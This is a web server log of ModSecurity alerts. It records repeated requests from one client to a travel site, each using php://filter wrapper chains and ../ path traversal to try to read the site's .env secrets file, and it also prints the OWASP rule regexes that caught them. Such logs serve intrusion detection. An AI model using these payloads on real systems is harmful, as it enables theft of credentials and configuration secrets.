[Fri Jul 17 08:55:12.357914 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&junk=z07fk0jpvuk-imzai4vps-xdfvpwey_ph9tdhxgut3ktyqingklg1wxzgbfh38hxonijicqgtbgxcebaiiu3mx_hxstv2m8ckbi3yfyi63vpaedt60ypsfpadlm65ssh9yv-piswqi0qu6zoi6ziaxhw3dnisi5r1nfkildsi6sfip6roaagdmztb7aya65nesoeinfjhbwizu46wvkpudcmptxr6hvsuabsyqzhnrra-5-5mbtfe5auiqqb1wlloc7ehay2iwf3ic1pryenwf_i&ref=oaiugmpkxgdctvr3oxr7nbvsciyik62z6xtb4q5hthdhog63smgop3gzgoauq5xhup3h4pbapcp5fhqtdez5zfywgho5kwcuztfv6o..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.357940 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.357965 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.358331 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.359417 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.359551 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.359856 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-PgAAABw"]
[Fri Jul 17 08:55:12.365032 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&debug=J6Q6PWKRnZAhia3xx2tjRpacDgOFfBQPbs8GB_ZJkoG4mzpMdMpf3P2TOgDIy-H5SH8wcN9PCmTZew-feEsrcxI6Ia_VaIMdQEu6T73r2noHuKViTN_RozfYJzs3qJPXf4LpIl1isJHl0SLaenjisKeO9OaxUFVe58wd-Y9HbuuiLzuMflT3qAvhNkf6gl2dlCNZuK3FAPgrdc7TCFf3T2mxFs8WONB1Gu2bpA_XPxjv1fQ5iZOjhiyVgXkQ4hsTt3p9tGVY5unNjHN_GAN-15xU&cb=WGMFRIKUWUIHIOCSXND7CWNZD6TZ6RGINBQAZX25TFE36A4PEYC6Y3M2E4PUVF2DNG6ZOWTWI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365095 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365171 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&debug=J6Q6PWKRnZAhia3xx2tjRpacDgOFfBQPbs8GB_ZJkoG4mzpMdMpf3P2TOgDIy-H5SH8wcN9PCmTZew-feEsrcxI6Ia_VaIMdQEu6T73r2noHuKViTN_RozfYJzs3qJPXf4LpIl1isJHl0SLaenjisKeO9OaxUFVe58wd-Y9HbuuiLzuMflT3qAvhNkf6gl2dlCNZuK3FAPgrdc7TCFf3T2mxFs8WONB1Gu2bpA_XPxjv1fQ5iZOjhiyVgXkQ4hsTt3p9tGVY5unNjHN_GAN-15xU&cb=WGMFRIKUWUIHIOCSXND7CWNZD6TZ6RGINBQAZX25TFE36A4PEYC6Y3M2E4PUVF2DNG6ZOWTWI3L5PSLBQSSSWI6QPNNY73GX45N..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365214 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&debug=j6q6pwkrnzahia3xx2tjrpacdgoffbqpbs8gb_zjkog4mzpmdmpf3p2togdiy-h5sh8wcn9pcmtzew-feesrcxi6ia_vaimdqeu6t73r2nohukvitn_rozfyjzs3qjpxf4lpil1isjhl0slaenjiskeo9oaxufve58wd-y9hbuuilzumflt3qavhnkf6gl2dlcnzuk3fapgrdc7tcff3t2mxfs8wonb1gu2bpa_xpxjv1fq5izojhiyvgxkq4hstt3p9tgvy5unnjhn_gan-15xu&cb=wgmfrikuwuihiocsxnd7cwnzd6tz6rginbqazx25tfe36a4peyc6y3m2e4puvf2dng6zowtwi3l5pslbqssswi6qpnny73gx45n..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365242 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365269 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.365612 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.366605 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.366751 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.367079 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sLQAAABQ"]
[Fri Jul 17 08:55:12.374567 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=hALxm8Mq5UvM3e8pkuvUQAcR7LojYh4-GiF9VMqrQ9bXQvWpXqh-sfkLb-W7WNBB5ks9DW0jKC-GlbYT7b-8jtrOSbNp0C7xeCPvXxLpkcdKtB9oh3R6ZeTFlKMy8qINsAh20U0fbLGmq8nfZ_wmQ9_27McUj-_UJhjBr0F12I6JM7xO1GbhBwUqVqS1kF_u-M1h7gHWWMpt-ZROKSkqTwsYR_819Dw2I3MYyStZxRqQImb3GsEOfhL9H2pOUw3IPf6xYVrj9yMx9cCfrnVBug-Z&debug=YAI63CKAIMPUSIWFW3HLMDWZDG5XEZFWTUTZXB45BY6YZP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.374643 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.374709 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=hALxm8Mq5UvM3e8pkuvUQAcR7LojYh4-GiF9VMqrQ9bXQvWpXqh-sfkLb-W7WNBB5ks9DW0jKC-GlbYT7b-8jtrOSbNp0C7xeCPvXxLpkcdKtB9oh3R6ZeTFlKMy8qINsAh20U0fbLGmq8nfZ_wmQ9_27McUj-_UJhjBr0F12I6JM7xO1GbhBwUqVqS1kF_u-M1h7gHWWMpt-ZROKSkqTwsYR_819Dw2I3MYyStZxRqQImb3GsEOfhL9H2pOUw3IPf6xYVrj9yMx9cCfrnVBug-Z&debug=YAI63CKAIMPUSIWFW3HLMDWZDG5XEZFWTUTZXB45BY6YZP5KWIB4B4LE5PNWQYGDNDZHXBA42K..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.374760 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&lang=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=halxm8mq5uvm3e8pkuvuqacr7lojyh4-gif9vmqrq9bxqvwpxqh-sfklb-w7wnbb5ks9dw0jkc-glbyt7b-8jtrosbnp0c7xecpvxxlpkcdktb9oh3r6zetflkmy8qinsah20u0fblgmq8nfz_wmq9_27mcuj-_ujhjbr0f12i6jm7xo1gbhbwuqvqs1kf_u-m1h7ghwwmpt-zrokskqtwsyr_819dw2i3myystzxrqqimb3gseofhl9h2pouw3ipf6xyvrj9ymx9ccfrnvbug-z&debug=yai63ckaimpusiwfw3hlmdwzdg5xezfwtutzxb45by6yzp5kwib4b4le5pnwqygdndzhxba42k..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.374795 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.374825 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.375257 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUQAAAAY"]
[Fri Jul 17 08:55:12.376410 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&lang=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=eUb4CyDo2-Z_l-qktdI2MqHgSmz1i3gKNtQ3_Y3IOrqLlGUkWoHC0na4Yq7P6oIcbPrXXaRJyYrcfrZvATFnGzq_1Q4Vf2XIl8y2nV0leCXgDeBtfwnFVvS4UjTyfPQVfmmFwnv5SHXyp4RkQRfFtsBjZaiBQiZPZIrNw8vHQkNfhmtonhHINfM47iENxkxtDM-fFf4zxaxasea1tch58HYKODqm7vRDtXWvy4m8tLcDl7_lqTtw4u71BmdldPXH1rz9ganQhh1FpC0nDMNfKCxW&anything=AB7FAPSKVCBJGRX3DMYI3HF6EH7QNOR7BYU3VE7ZF6W4US..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
[Fri Jul 17 08:55:12.376463 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kQAAABA"]
